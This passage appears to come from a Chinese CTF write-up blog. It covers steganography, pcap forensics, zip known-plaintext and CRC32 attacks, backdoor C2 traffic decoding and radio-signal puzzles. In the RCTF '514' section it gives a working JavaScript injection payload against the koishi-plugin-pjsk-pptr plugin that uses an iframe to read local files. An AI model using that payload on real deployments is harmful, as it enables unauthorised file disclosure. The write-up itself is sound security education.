        c = val ^ k
32
        candidates.append(c)
33

34
    # 分支2：base_ops 是奇数（有 penalty）
35
    base_ops_odd = current_ops - 40
36
    if 0 <= base_ops_odd <= 255 and base_ops_odd % 2 == 1:
37
        val = unscramble(base_ops_odd)
38
        c = val ^ k
39
        candidates.append(c)
40

41
    # 选择最佳候选
42
    chosen_char = '?'
43
    for c in candidates:
44
        if 32 <= c <= 126:  # 可打印 ASCII
45
            chosen_char = chr(c)
46
            break
47
    if chosen_char == '?' and candidates:
48
        chosen_char = chr(candidates[0])
49

50
    flag += chosen_char
51

52
print("Recovered text:")
53
print(flag)

得到了以下内容：

1
h i j k l m n
2
8 9 0 / - _ =
3
a b c d e f g
4
v w x y z { }
5
o p q r s t u
6
1 2 3 4 5 6 7

做到这里的时候已经手足无措了……后来给出了hint：ModR/M，不过依然没有找对方向。。。

原来这里是隐写：

利用工具提取：

解十六进制得到：

1
2j10l kkhh :3 $ jhh 4h 2k2h $3j 4h3k j20h jj6l kkll llk ^j kk$hh 0jj /z :6 5k$ jj j

这是vim编辑器的操作符，使用vim打开得到的表，输入以上内容,查看光标的位置，即可得到flag：

1
flag{y0u-are_amaz1ng}

标准的绝密压缩#

追踪流，发现有很多png格式传输的内容（89504e47）:

而到32流之后，发现请求包不再是这种格式：

说明加密方式发生变化！

先尝试提取出所有的png:

进行分析，发现每一个png均是IDAT块隐写，数据隐藏在IDAT块中，写脚本提取所有数据内容：

1
import struct
2
import zlib
3
import binascii
4

5
def parse_png_data(hex_data):
6
    """解析PNG数据并提取IDAT块"""
7
    # 将十六进制字符串转换为字节
8
    png_bytes = bytes.fromhex(hex_data)
9

10
    # PNG文件头
11
    png_header = png_bytes[:8]
12

13
    # 查找所有IDAT块
14
    idat_chunks = []
15
    offset = 8  # 跳过PNG文件头
16

17
    while offset < len(png_bytes):
18
        # 读取块长度 (4 bytes)
19
        if offset + 4 > len(png_bytes):
20
            break
21
        chunk_length = struct.unpack('>I', png_bytes[offset:offset+4])[0]
22
        offset += 4
23

24
        # 读取块类型 (4 bytes)
25
        if offset + 4 > len(png_bytes):
26
            break
27
        chunk_type = png_bytes[offset:offset+4]
28
        offset += 4
29

30
        # 读取块数据
31
        if offset + chunk_length > len(png_bytes):
32
            break
33
        chunk_data = png_bytes[offset:offset+chunk_length]
34
        offset += chunk_length
35

36
        # 读取CRC (4 bytes)
37
        if offset + 4 > len(png_bytes):
38
            break
39
        crc = png_bytes[offset:offset+4]
40
        offset += 4
41

42
        # 如果是IDAT块，保存数据
43
        if chunk_type == b'IDAT':
44
            idat_chunks.append(chunk_data)
45

46
    return idat_chunks
47

48
def analyze_idat_data(idat_data):
49
    """分析解压后的IDAT数据"""
50
    try:
51
        # 解压IDAT数据
52
        decompressed = zlib.decompress(idat_data)
53

54
        # 原始字节数据
55
        raw_bytes = decompressed
56

57
        # ASCII表示（将可打印字符显示，不可打印字符显示为点）
58
        ascii_repr = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in raw_bytes)
59

60
        return raw_bytes, ascii_repr
61
    except Exception as e:
62
        return None, f"解压错误: {e}"
63

64
def main():
65
    # 读取文件
66
    with open('111.txt', 'r') as f:
67
        content = f.read().strip()
68
    #content = input()
69
    # 按89504e47分割PNG数据
70
    png_marker = '89504e47'
71
    png_hex_strings = content.split(png_marker)
72

73
    # 第一个元素可能是空的，从第二个开始处理
74
    png_data_list = []
75
    for hex_str in png_hex_strings[1:]:
76
        # 重新添加PNG标记
77
        full_png_hex = png_marker + hex_str
78
        png_data_list.append(full_png_hex)
79

80
    print(f"找到 {len(png_data_list)} 个PNG文件")
81

82
    # 处理每个PNG
83
    for i, png_hex in enumerate(png_data_list, 1):
84
        print(f"\n{'='*60}")
85
        print(f"PNG #{i}")
86
        print(f"{'='*60}")
87

88
        try:
89
            # 提取IDAT块
90
            idat_chunks = parse_png_data(png_hex)
91

92
            if not idat_chunks:
93
                print("未找到IDAT块")
94
                continue
95

96
            print(f"找到 {len(idat_chunks)} 个IDAT块")
97

98
            # 合并所有IDAT块数据
99
            all_idat_data = b''.join(idat_chunks)
100

101
            # 分析IDAT数据
102
            raw_data, ascii_repr = analyze_idat_data(all_idat_data)
103

104
            if raw_data is not None:
105
                print(f"解压后数据长度: {len(raw_data)} 字节")
106
                print(f"原始数据 (hex): {raw_data.hex()[:1000]}...")  # 只显示前100个字符
107
                print(f"ASCII表示: {ascii_repr[:2000]}...")  # 只显示前200个字符
108

109
                # 详细分析数据格式
110
                print("\n数据格式分析:")
111
                print(f"  数据字节数: {len(raw_data)}")
112
                print(f"  可打印ASCII字符数: {sum(1 for c in ascii_repr if c != '.')}")
113
                print(f"  非打印字符数: {sum(1 for c in ascii_repr if c == '.')}")
114

115
                # 尝试检测数据类型
116
                if len(raw_data) > 0:
117
                    first_byte = raw_data[0]
118
                    print(f"  第一个字节: 0x{first_byte:02x} ({first_byte})")
119

120
            else:
121
                print(f"分析失败: {ascii_repr}")
122

123
        except Exception as e:
124
            print(f"处理PNG #{i}时出错: {e}")
125

126
if __name__ == "__main__":
127
    main()

得到的是：

1
True. Anyway, before I forget...how...s that side project you were working on? The one you wouldn...t shut up about months ago....
2
Still alive... barely. Progress is slow, but steady. You know me...I don...t give up easily....
3
Good. I hope it pays off one day....
4
Thanks. Alright... I...m guessing you didn...t ping me just to chat?...
5
Well, half of it was. It...s been a while. But yes...I do have something for you today. Before sending the core cipher, I...ll transmit an encrypted archive first. It contains a sample text and the decryption rules....
6
Okay. What...s special about this sample text?...
7
And... inside the sample text, I used my favorite Herobrine legend...you know the one I always bring up....
8
Of course I know. The hidden original text from that weird old site, right?...
9
What can I say...old habits die hard. Anyway, the important part: the sample packet and the core cipher are encrypted with the same password....
10
Got it. So if I can decrypt the sample, the real one should be straightforward....
11
Exactly. Send the sample when ready....
12
I...m ready. Go ahead....
13
UEsDBBQAAQAIABtFeFu1Ii0dcwAAAHwAAAAJAAAAcnVsZXMudHh07XuRBFDbojGKhAz59VaKEpwD6/rKaZnqUxf+NMH0rybWrAMPewZ/yGyLrMKQjNIcEbPAxjmP5oTh8fP77Vi1wnFwzN37BmrQ9SCkC27FC/xeqbgw/HWcDpgzsEoiNpqT9ZThrbAScyg5syfJmNactjelNVBLAwQUAAEACACGOXhbpdvG1ysBAAAVAgAACgAAAHNhbXBsZS50eHTA1fy4cMLZwZkTI1mEk88yOXy9rmbTbCNBQOo9hqKQPK6vjZVo9aCtTVflmkKYGV99+51qXbinmG7WGik5UvLJk9MKRosThBCDMHrmjibOCzjzNELwEgEyX8DjqJkSc8pIFwj+oRM3bb4i0GtRxbwqgsxCtgwiKdCVoXVdetN7RKLIQ7DD+Huv/ZptNdd0yRNHis9LEA3loB+IHZ+dK7IknqPh4lYF8JwAjx5/wwp0YAM6Bcec7uAvk6B5t1pEztm1rLl8TjniVz5/bBUTo1LjUXnar/pnm1NvE9EAuxz/s6b+O8/ew7/A4ItdNJGzDudh6YULfiV3pCTXFIbR4GCe4LwkohWZIlAjysA+zLRrgkTDoB10vWdNGdfoBAlLRoUdZ95mS7X5/bXV41BLAQI/ABQAAQAIABtFeFu1Ii0dcwAAAHwAAAAJACQAAAAAAAAAIAAAAAAAAABydWxlcy50eHQKACAAAAAAAAEAGABIv3f82lzcAQAAAAAAAAAAAAAAAAAAAABQSwECPwAUAAEACACGOXhbpdvG1ysBAAAVAgAACgAkAAAAAAAAACAAAACaAAAAc2FtcGxlLnR4dAoAIAAAAAAAAQAYAFP0sZjOXNwBAAAAAAAAAAAAAAAAAAAAAFBLBQYAAAAAAgACALcAAADtAQAAAAA=...
14
got it. Decrypting... yeah, it works....
15
Good. That means the channel is stable....
16
Alright. Whenever you...re ready, send the real thing....
17
The core cipher will be transmitted through our secret channel. You remember how to decrypt it, right?...
18
Of course. I...ve got the procedure ready. Start when you...re ready....
19
Done. Core cipher fully received. Integrity verified...no corruption....
20
Same to you. And hey... nice talking again....
21
Agreed. Take care....
22
Good. Keep things quiet for the next few days....
23
Yeah. Let...s not wait so long next time....
24
You too....

分析对话内容：

可以得到以下信息：

中间这一长串base64是为发送的样本数据包，和真正的核心数据包使用的是同一个密码
样本数据包里面的示例文本和Herobrine有关
从32流开始，传输真正的加密核心数据包

导出样本：

传统加密的一个压缩包

查找有关Herobrine的内容，可以在mc wiki中找到对应的内容：

这便是sample.txt的内容

加密的标志位为0x3F，猜测是用7z压缩，进行明文攻击即可破解压缩包：

内部密钥： b47e923c 5aeb49a7 a3cd7af0

解压得到rules:

1
1.you need to calc the md5 of port to decrypt the core data.
2

3
2.The cipher I put in the zip, in segments, has been deflated.

得知端口号的md5即为密钥：

7c365ebfc34003c40033cc47f6116dd1

AES-ECB解密：

得到压缩包：

大小很小，可以使用CRC爆破，写脚本提取所有的数据，进行爆破：

以下脚本来自Lunatic师傅：https://goodlunatic.github.io/posts/353513a/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-%E6%A0%87%E5%87%86%E7%9A%84%E7%BB%9D%E5%AF%86%E5%8E%8B%E7%BC%A9

1
import subprocess
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import unpad
4
import hashlib
5
import zipfile
6

7
def md5(data):
8
    return hashlib.md5(data).hexdigest()
9

10
def aes_ecb_decrypt(ciphertext, key):
11
    if len(ciphertext) % 16 != 0:
12
        ciphertext = ciphertext.ljust((len(ciphertext) + 15) // 16 * 16, b'\x00')
13
    cipher = AES.new(key, AES.MODE_ECB)
14
    decrypted = cipher.decrypt(ciphertext)
15
    return decrypted
16

17
def main():
18
    file_path = "capture.pcapng"
19
    crc_list = []
20

21
    for src_port in range(30012, 30092):
22
        print(f"[+] Processing source port: {src_port}")
23
        aes_key = md5(str(src_port).encode())
24
        print(f"[+] aes_key: {aes_key}")
25
        filter_str = f"tcp.srcport == {src_port}"
26

27
        command = [
28
            "tshark",
29
            '-r', file_path,
30
            '-T', 'fields',
31
            '-Y', filter_str,
32
            '-e', 'tcp.payload'
33
        ]
34
        # print(f"[+] cmd: {command}")
35
        result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
36
        output = result.stdout.split()
37
        if not output:
38
            continue
39

40
        hex_data = "".join(output)
41
        # print(f"[+] hex_data: {hex_data}")
42
        zip_data = aes_ecb_decrypt(bytes.fromhex(hex_data), aes_key.encode())
43
        # print(zip_data)
44

45
        zip_filename = f"{src_port}.zip"
46
        with open(zip_filename, 'wb') as f:
47
            f.write(zip_data)
48
        try:
49
            with zipfile.ZipFile(zip_filename, 'r') as zf:
50
                file_list = zf.namelist()
51
                if file_list:
52
                    target_file = file_list[0]
53
                    info = zf.getinfo(target_file)
54
                    crc_list.append(hex(info.CRC))
55
        except:
56
            print(f"\033[1;31m[-] Failed to process zip for port {src_port}\033[0m")
57

58
    print(f"CRC32 list: {crc_list}")
59

60
if __name__ == "__main__":
61
    main()

可以得到80个这样的zip

写脚本批量爆破crc:

1
import binascii
2

3
class CRC32Reverse:
4
    def __init__(self, crc32, length, tbl=bytes(range(256)), poly=0xEDB88320, accum=0):
5
        self.char_set = set(tbl)  # 支持所有字节
6
        self.crc32 = crc32
7
        self.length = length
8
        self.poly = poly
9
        self.accum = accum
10
        self.table = []
11
        self.table_reverse = []
12

13
    def init_tables(self, poly, reverse=True):
14
        """构建 CRC32 表及其反向查找表"""
15
        # CRC32 表构建
16
        for i in range(256):
17
            for j in range(8):
18
                if i & 1:
19
                    i >>= 1
20
                    i ^= poly
21
                else:
22
                    i >>= 1
23
            self.table.append(i)
24

25
        assert len(self.table) == 256, "CRC32 表的大小错误"
26

27
        # 构建反向查找表
28
        if reverse:
29
            for i in range(256):
30
                found = [j for j in range(256) if self.table[j] >> 24 == i]
31
                self.table_reverse.append(tuple(found))
32

33
            assert len(self.table_reverse) == 256, "反向查找表的大小错误"
34

35
    def calc(self, data, accum=0):
36
        """计算 CRC32 校验值"""
37
        accum = ~accum
38
        for b in data:
39
            accum = self.table[(accum ^ b) & 0xFF] ^ ((accum >> 8) & 0x00FFFFFF)
40
        accum = ~accum
41
        return accum & 0xFFFFFFFF
42

43
    def find_reverse(self, desired, accum):
44
        """查找反向字节序列"""
45
        solutions = set()
46
        accum = ~accum
47
        stack = [(~desired,)]
48

49
        while stack:
50
            node = stack.pop()
51
            for j in self.table_reverse[(node[0] >> 24) & 0xFF]:
52
                if len(node) == 4:
53
                    a = accum
54
                    data = []
55
                    node = node[1:] + (j,)
56
                    for i in range(3, -1, -1):
57
                        data.append((a ^ node[i]) & 0xFF)
58
                        a >>= 8
59
                        a ^= self.table[node[i]]
60
                    solutions.add(tuple(data))
61
                else:
62
                    stack.append(((node[0] ^ self.table[j]) << 8,) + node[1:] + (j,))
63

64
        return solutions
65

66
    def dfs(self, length, outlist=[b'']):
67
        """深度优先搜索生成字节序列"""
68
        if length == 0:
69
            return outlist
70
        tmp_list = [item + bytes([x]) for item in outlist for x in self.char_set]
71
        return self.dfs(length - 1, tmp_list)
72

73
    def run_reverse(self):
74
        """执行 CRC32 反向查找"""
75
        self.init_tables(self.poly)
76

77
        desired = self.crc32
78
        accum = self.accum
79
        result_list = []
80

81
        # 处理至少为 4 字节的情况
82
        if self.length >= 4:
83
            patches = self.find_reverse(desired, accum)
84
            for patch in patches:
85
                checksum = self.calc(patch, accum)
86
                # print(f"verification checksum: 0x{checksum:08x} ({'OK' if checksum == desired else 'ERROR'})")
87
            for item in self.dfs(self.length - 4):
88
                patch = list(item)
89
                patches = self.find_reverse(desired, self.calc(patch, accum))
90
                for last_4_bytes in patches:
91
                    patch.extend(last_4_bytes)
92
                    checksum = self.calc(patch, accum)
93
                    if checksum == desired:
94
                        result_list.append(bytes(patch))  # 添加符合条件的字节序列
95
        else:
96
            for item in self.dfs(self.length):
97
                if self.calc(item) == desired:
98
                    result_list.append(bytes(item))  # 添加符合条件的字节序列
99
        return result_list
100

101
def crc32_reverse(crc32, length, char_set=bytes(range(256)), poly=0xEDB88320, accum=0):
102
    obj = CRC32Reverse(crc32, length, char_set, poly, accum)
103
    return obj.run_reverse()  # 返回所有结果
104

105
def crc32(s):
106
    return binascii.crc32(s) & 0xFFFFFFFF
107

108
if __name__ == "__main__":
109
    crc_values  =[0xcf60023f, 0x61d8a4f3, 0xb15f099f, 0xb93935f3, 0x56263d91, 0x7c9a17, 0x324af895, 0x64105f13, 0x7aae1d0a, 0x616c6729, 0x2b51c9d4, 0xb6e26299, 0xdff453c4, 0x9331116d, 0x324af895, 0x7c9a17, 0x7e2361b8, 0x7c65dfe1, 0x9e4be534, 0x324af895, 0x821fc2f0, 0x78e8a353, 0xac828282, 0x9e4be534, 0x6504596, 0xcaa8f9df, 0x64dc7498, 0x779f2fbd, 0x7b27b1d3, 0xcb9596dc, 0xaab6455d, 0xb72008ae, 0xb3ad741c, 0xa10773ef, 0x2b9de25f, 0x9b04f3b1, 0x48f88f87, 0xac828282, 0x821fc2f0, 0x6a2254af, 0xcaa8f9df, 0x3e3e4d70, 0x7b91940, 0x3c78f329, 0xe435b9ad, 0x6847643, 0x2c944a83, 0xc4a9dcdc, 0x9c0d5b6d, 0xa341cdb6, 0x358f7bc2, 0x13f3eab9, 0x6193621d, 0x159ed4a, 0x69a680c1, 0x4fb4a8, 0x70968761, 0x2f60fc5, 0x3937e5ac, 0x9b04f3b1, 0x1d26fc6f, 0x95fad386, 0x3937e5ac, 0x37c9c59b, 0xa341cdb6, 0xeb09f3ad, 0xa448656a, 0xab742f6a, 0x2090af1, 0xe435b9ad, 0xb26f1e2b, 0xecd468a4, 0x26cc20e7, 0x1ea22801, 0x64dc7498, 0x638602f4, 0x26b4c8b6, 0x61d8a4f3, 0xb15f099f, 0x88a078ba]
110

111
    # print(len(crc_list))
112
    res = b""
113
    for item in crc_values:
114
        res += crc32_reverse(item, 4)[0]
115
    print(res)
116
    with open("res.bin",'wb') as f:
117
        f.write(res)

这里要注意最后一个压缩包中的 txt 是 3 字节，需要单独处理一下

最后得到：

1
53 29 00 00 CB AE 02 00 CB 2C 00 00 53 31 04 00
2
D3 32 04 00 D3 32 02 00 D3 32 00 00 D3 32 06 00
3
33 D5 02 00 33 B2 04 00 D3 32 01 00 33 34 06 00
4
33 4D 04 00 33 4F 03 00 D3 32 00 00 D3 32 02 00
5
33 D3 02 00 33 D0 02 00 33 36 05 00 D3 32 00 00
6
33 31 04 00 33 D6 02 00 4B B6 00 00 33 36 05 00
7
B3 48 06 00 4B B5 04 00 4B 35 03 00 B3 30 05 00
8
B3 48 03 00 33 34 03 00 33 33 07 00 33 35 06 00
9
33 33 06 00 33 4F 01 00 4B 35 04 00 33 31 05 00
10
4B 31 00 00 4B B6 00 00 33 31 04 00 4B 4E 05 00
11
4B B5 04 00 4B 4D 03 00 4B 31 07 00 4B 4E 03 00
12
33 32 00 00 33 B0 00 00 4B 31 04 00 33 4E 05 00
13
33 35 05 00 33 4C 01 00 4B 31 05 00 B3 30 01 00
14
4B 32 03 00 B3 4C 06 00 4B 4C 05 00 33 B5 00 00
15
B3 34 05 00 4B 36 07 00 4B 49 03 00 33 31 05 00
16
4B 33 06 00 33 4A 03 00 4B 49 03 00 4B 32 05 00
17
33 4C 01 00 33 48 06 00 33 48 01 00 33 32 07 00
18
33 B6 00 00 33 32 00 00 33 32 06 00 B3 B4 00 00
19
B3 34 03 00 4B 31 06 00 4B 35 03 00 D3 52 01 00
20
D3 2F 00 00 CB AE 02 00 CB 2C 00 00 53 01 00

上面的数据按每4字节一组解压，可以得到一个zip的hash:

1
import zlib
2

3
hex_data = "53290000CBAE0200CB2C000053310400D3320400D3320200D3320000D332060033D5020033B20400D332010033340600334D0400334F0300D3320000D332020033D3020033D0020033360500D33200003331040033D602004BB6000033360500B34806004BB504004B350300B3300500B348030033340300333307003335060033330600334F01004B350400333105004B3100004BB60000333104004B4E05004BB504004B4D03004B3107004B4E03003332000033B000004B310400334E050033350500334C01004B310500B33001004B320300B34C06004B4C050033B50000B33405004B3607004B490300333105004B330600334A03004B4903004B320500334C010033480600334801003332070033B600003332000033320600B3B40000B33403004B3106004B350300D3520100D32F0000CBAE0200CB2C0000530100"
4

5
data = bytes.fromhex(hex_data)
6

7
chunks = [data[i:i+4] for i in range(0, len(data), 4)]
8

9
out = b""
10
for c in chunks:
11
    try:
12
        out += zlib.decompress(c, -zlib.MAX_WBITS)
13
    except:
14
        print("bad chunk:", c.hex())
15

16
print(out.decode())

1
$pkzip$1*1*2*0*35*29*4135a7f*0*26*0*35*0413*c8358ce9e6858f166753637de145d0c841cee9efd7cf2008d13e551dd584b69cae5895c7df45f32fdfb51d0c0d273820239896d3e6*$/pkzip$

参考2025 buckeyeCTF-zip2john2zip wp:

https://github.com/cscosu/buckeyectf-2025-public/blob/master/forensics/zip2john2zip/solve/solve.py

已知三个内部密钥和哈希值，还原zip并解压缩：

1
#!/usr/bin/env python3
2

3
def pkcrc(x, b):
4
    x = (x ^ b) & 0xFFFFFFFF
5
    for _ in range(8):
6
        if x & 1:
7
            x = (x >> 1) ^ 0xedb88320
8
        else:
9
            x >>= 1
10
    return x & 0xFFFFFFFF
11

12

13
def decrypt_stream_with_keys(enc, key0, key1, key2):
14

15
    def _update_keys(byte_val):
16
        nonlocal key0, key1, key2
17
        key0 = pkcrc(key0, byte_val)
18
        temp = (key1 + (key0 & 0xff)) & 0xFFFFFFFF
19
        key1 = (((temp * 0x08088405) & 0xFFFFFFFF) + 1) & 0xFFFFFFFF
20
        key2 = pkcrc(key2, (key1 >> 24) & 0xff)
21

22
    def _get_keystream_byte():
23
        nonlocal key2
24
        temp = (key2 & 0xFFFF) | 3
25
        return (((temp * (temp ^ 1)) & 0xFFFF) >> 8) & 0xff
26

27
    out = bytearray()
28
    for e in enc:
29
        ks = _get_keystream_byte()
30
        d = e ^ ks
31
        out.append(d)
32
        _update_keys(d)
33

34
    return bytes(out)
35

36

37
if __name__ == "__main__":
38
    # your recovered keys:
39
    k0 = 0xb47e923c
40
    k1 = 0x5aeb49a7
41
    k2 = 0xa3cd7af0
42

43
    # encrypted data from $pkzip$ hash
44
    hash_text = "$pkzip$1*1*2*0*35*29*4135a7f*0*26*0*35*0413*c8358ce9e6858f166753637de145d0c841cee9efd7cf2008d13e551dd584b69cae5895c7df45f32fdfb51d0c0d273820239896d3e6*$/pkzip$"
45
    enc_hex = hash_text.split('*')[12]  # not 13 !
46
    enc = bytes.fromhex(enc_hex)
47

48
    plain = decrypt_stream_with_keys(enc, k0, k1, k2)
49
    print(plain)

得到flag：

b'\xcf\xecP\x1f\x89\x9e\x83q1"\xa4\x04flag{W0ww_th3_C@ske7|s_Tre4sur3_unl0cke9}'

猫咪电台#

给了png和wav两个附件

png存在LSB隐写，按照BRG通道顺序提取得到flag0图片：

1
flag part0： ==gNWRWTFRjY4IGV4sGczg0QzAFUyQTQ

flag0: Ci4l10~

在1.wav文件尾后发现压缩包：

解压需要密码

删除文件尾部的zip后，查看wav信息：

用Audacity导入原始数据：

其频谱图是两条清晰的频率，判断为RTTY

RTTY使用两种频率来代表两种不同的信号状态：Mark 和 Space。

Mark频率（通常为较低频率）对应“1”。

Space频率（通常为较高频率）对应“0”。

在传输时，信号会在这两种频率之间切换，形成一个类似于“0”和“1”的二进制模式。

解码得到password和flag1：

使用密码解压2.wav:

采样率非常高，猜测是 SDR(软件定义无线电) 捕获的无线信号数据,因此使用 SDR# (SDRSharp) 进行解析

得到flagpart2

_CAT9LIVES

因此flag：

flag{Ci4l10~R77YM30W1SFUN_CAT9LIVES}

RCTF 2025#

本次队伍排名：23

复现参考：https://su-team.cn/posts/63a9ee12.html

Asgard Fallen Down#

先找到建立连接的流量：

解码这里的数据：

发现了第一道题中，后门寄生的进程

同时下面响应有几个base64字符串（build,version）

根据长度判断，是AES的key和iv

build: 20251115-VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs=

version: 1.2.3-EjureNfe2IA6jFEZEih84w==

紧接着下面我们能发现一条加密的数据，使用key和iv进行解密：

得到执行的命令： spawn whoami

在之后的请求里得到命令执行结果：

可以发现整个流量的模式：

1
第N次请求 → 响应HTML中的build注释包含要执行的命令 两次base64
2

3
第N+1次请求 → 通过特殊header回传命令执行结果 一次base64

这样整个流量就清晰许多了

整个流丢给ai分析，可以得到心跳间隔10s:

Challenge 3: The Heart of Iron: 继续解码分析即可：

Challenge 4: Odin’s Eye

搜索关键词build:20251115可在2787流中找到本题的执行命令

之后有很多大块的响应包，是图片的分段传输：

得到图片，工具是无影：TscanPlus

Wanna Feel Love#

第一问，为垃圾邮件隐写

使用：https://www.spammimic.com/decode.cgi

工具进行解密即可。

第二问，使用OpenMPT打开后，可以看懂5：feel

黑为0红为1

解码后得到I Feel Fantastic heyheyhey

因为红黑色宽度不一，所以当时没往这里想……<(＿　＿)>

514#

找到插件：

https://github.com/araea/koishi-plugin-pjsk-pptr

其中pjsk在截图时调用了puppeteer进行渲染，设定的text未经过滤

1
/ koishi-plugin-pjsk-pptr/src/index.ts:L1084-L1088
2
const canvas = document.getElementById("myCanvas");
3
const context = canvas.getContext('2d');
4
const text = '${text}';
5
const x = ${specifiedX};
6
const y = ${specifiedY};

此处直接把用户输入拼进 html，且 url为 file: 协议，可以构造 iframe 实现本地任意文件读取。

payload:

pjsk 绘制 ';const b=String.fromCharCode(47);const a=document.createElement('iframe');a.setAttribute('src','file:'+b+b+b+'flag');a.setAttribute('style','position: fixed;top: 0;left: 0;background: white;');document.body.appendChild(a);'

强网杯S9#

复现参考：https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-19

谍影重重 6.0#

附件一个流量包和一个加密压缩包,很显然需要我们分析流量找到密码

流量包传输的是音频(根据题目提示以及流量包分析),因此需要想办法提取出音频来.

在电话-RTP流中可以看到传输的数据：

play streams → export – from cursor就可以导出数据

但是导出发现声音很小，并且我们也不能这样一个个导出，太吃操作了。

因此需要一个脚本来辅助我们。

这里借用一下Polaris战队的脚本：

1
import os
2
import subprocess
3
import tempfile
4
import glob
5
from scapy.all import *
6
import wave
7
import struct
8
import numpy as np
9
from scipy import signal
10

11
class PCAPAudioExtractor:
12
    def __init__(self, enhance_audio=True):
13
        self.temp_dir = tempfile.mkdtemp()
14
        self.extracted_files = []
15
        self.enhance_audio = enhance_audio
16

17
        # 硬编码 tshark 路径
18
        self.tshark_paths = [
19
            r"D:\\study\\ctf\\misc\\tool\\Wireshark\\Wireshark\\tshark.exe"
20
        ]
21
        self.tshark_path = self._find_tshark()
22

23
        # 检查音频增强依赖
24
        if enhance_audio:
25
            self._check_enhance_dependencies()
26

27
    def _find_tshark(self):
28
        """查找 tshark 可执行文件"""
29
        for path in self.tshark_paths:
30
            if os.path.exists(path):
31
                print(f"找到 tshark: {path}")
32
                return path
33
        print("警告: 未找到 tshark，将跳过 RTP 流提取")
34
        return None
35

36
    def _check_enhance_dependencies(self):
37
        """检查音频增强所需的依赖"""
38
        try:
39
            import numpy as np
40
            from scipy import signal
41
            self.have_enhance_deps = True
42
            print("音频增强依赖已安装")
43
        except ImportError as e:
44
            self.have_enhance_deps = False
45
            print(f"警告: 音频增强依赖未安装: {e}")
46
            print("将跳过音频增强步骤")
47

48
    def __del__(self):
49
        # 清理临时文件
50
        for f in glob.glob(os.path.join(self.temp_dir, "*")):
51
            try:
52
                os.remove(f)
53
            except:
54
                pass
55
        try:
56
            os.rmdir(self.temp_dir)
57
        except:
58
            pass
59

60
    def extract_all_audio(self, pcap_file, output_dir="extracted_audio"):
61
        """
62
        全自动提取pcap文件中的所有音频
63
        """
64
        print(f"开始分析pcap文件: {pcap_file}")
65

66
        # 创建输出目录
67
        os.makedirs(output_dir, exist_ok=True)
68

69
        # 方法1: 尝试提取RTP音频流
70
        rtp_files = self._extract_rtp_audio(pcap_file, output_dir)
71
        self.extracted_files.extend(rtp_files)
72

73
        # 方法2: 尝试提取UDP音频流
74
        udp_files = self._extract_udp_audio(pcap_file, output_dir)
75
        self.extracted_files.extend(udp_files)
76

77
        # 方法3: 尝试提取TCP音频流
78
        tcp_files = self._extract_tcp_audio(pcap_file, output_dir)
79
        self.extracted_files.extend(tcp_files)
80

81
        # 方法4: 尝试提取原始音频数据
82
        raw_files = self._extract_raw_audio(pcap_file, output_dir)
83
        self.extracted_files.extend(raw_files)
84

85
        # 音频增强
86
        if self.enhance_audio and self.have_enhance_deps and self.extracted_files:
87
            print("\n=== 开始音频增强 ===")
88
            enhanced_files = self._enhance_all_audio(output_dir)
89
            self.extracted_files.extend(enhanced_files)
90

91
        # 总结结果
92
        self._print_summary()
93

94
        return self.extracted_files
95

96
    def _extract_rtp_audio(self, pcap_file, output_dir):
97
        """提取RTP音频流"""
98
        print("\n=== 尝试提取RTP音频流 ===")
99
        extracted_files = []
100

101
        # 检查是否有tshark可用
102
        if not self.tshark_path:
103
            print("未找到tshark，跳过RTP提取")
104
            return extracted_files
105

106
        try:
107
            # 获取所有RTP流
108
            cmd = [self.tshark_path, '-r', pcap_file, '-Y', 'rtp', '-T', 'fields', '-e', 'rtp.ssrc', '-e', 'udp.dstport']
109
            result = subprocess.run(cmd, capture_output=True, text=True)
110

111
            if result.returncode != 0:
112
                print("tshark执行失败")
113
                return extracted_files
114

115
            # 解析RTP流
116
            streams = {}
117
            for line in result.stdout.split('\n'):
118
                if line.strip():
119
                    parts = line.split('\t')
120
                    if len(parts) >= 2:
121
                        ssrc, port = parts[0], parts[1]
122
                        if ssrc and port:
123
                            streams[ssrc] = port
124

125
            print(f"发现 {len(streams)} 个RTP流")
126

127
            # 提取每个RTP流
128
            for i, (ssrc, port) in enumerate(streams.items()):
129
                print(f"处理RTP流 {i+1}: SSRC={ssrc}, 端口={port}")
130

131
                # 提取RTP载荷
132
                raw_file = os.path.join(self.temp_dir, f"rtp_{ssrc}.raw")
133
                cmd = [self.tshark_path, '-r', pcap_file, '-Y', f'rtp.ssrc=={ssrc}', '-T', 'fields', '-e', 'rtp.payload']
134
                result = subprocess.run(cmd, capture_output=True, text=True)
135

136
                if result.returncode == 0 and result.stdout.strip():
137
                    # 处理十六进制载荷
138
                    hex_data = result.stdout.replace(':', '').replace('\n', '')
139
                    try:
140
                        raw_data = bytes.fromhex(hex_data)
141
                        with open(raw_file, 'wb') as f:
142
                            f.write(raw_data)
143

144
                        # 尝试转换为WAV
145
                        wav_files = self._try_convert_to_wav(raw_file, output_dir, f"rtp_stream_{i+1}")
146
                        extracted_files.extend(wav_files)
147
                    except ValueError as e:
148
                        print(f"处理RTP载荷失败: {e}")
149

150
        except Exception as e:
151
            print(f"提取RTP流时出错: {e}")
152

153
        return extracted_files
154

155
    def _extract_udp_audio(self, pcap_file, output_dir):
156
        """提取UDP音频流"""
157
        print("\n=== 尝试提取UDP音频流 ===")
158
        extracted_files = []
159

160
        try:
161
            # 使用scapy读取pcap文件
162
            packets = rdpcap(pcap_file)
163

164
            # 按UDP端口分组
165
            udp_streams = {}
166
            for packet in packets:
167
                if packet.haslayer(UDP):
168
                    udp = packet[UDP]
169
                    port = udp.dport
170

171
                    if port not in udp_streams:
172
                        udp_streams[port] = []
173

174
                    # 获取UDP载荷
175
                    payload = bytes(udp.payload)
176
                    if payload:
177
                        udp_streams[port].append(payload)
178

179
            print(f"发现 {len(udp_streams)} 个UDP端口")
180

181
            # 处理每个UDP流
182
            for i, (port, payloads) in enumerate(udp_streams.items()):
183
                if len(payloads) < 10:  # 太少的包可能不是音频流
184
                    continue
185

186
                print(f"处理UDP端口 {port}: {len(payloads)} 个数据包")
187

188
                # 合并载荷
189
                raw_data = b''.join(payloads)
190

191
                # 保存原始数据
192
                raw_file = os.path.join(self.temp_dir, f"udp_{port}.raw")
193
                with open(raw_file, 'wb') as f:
194
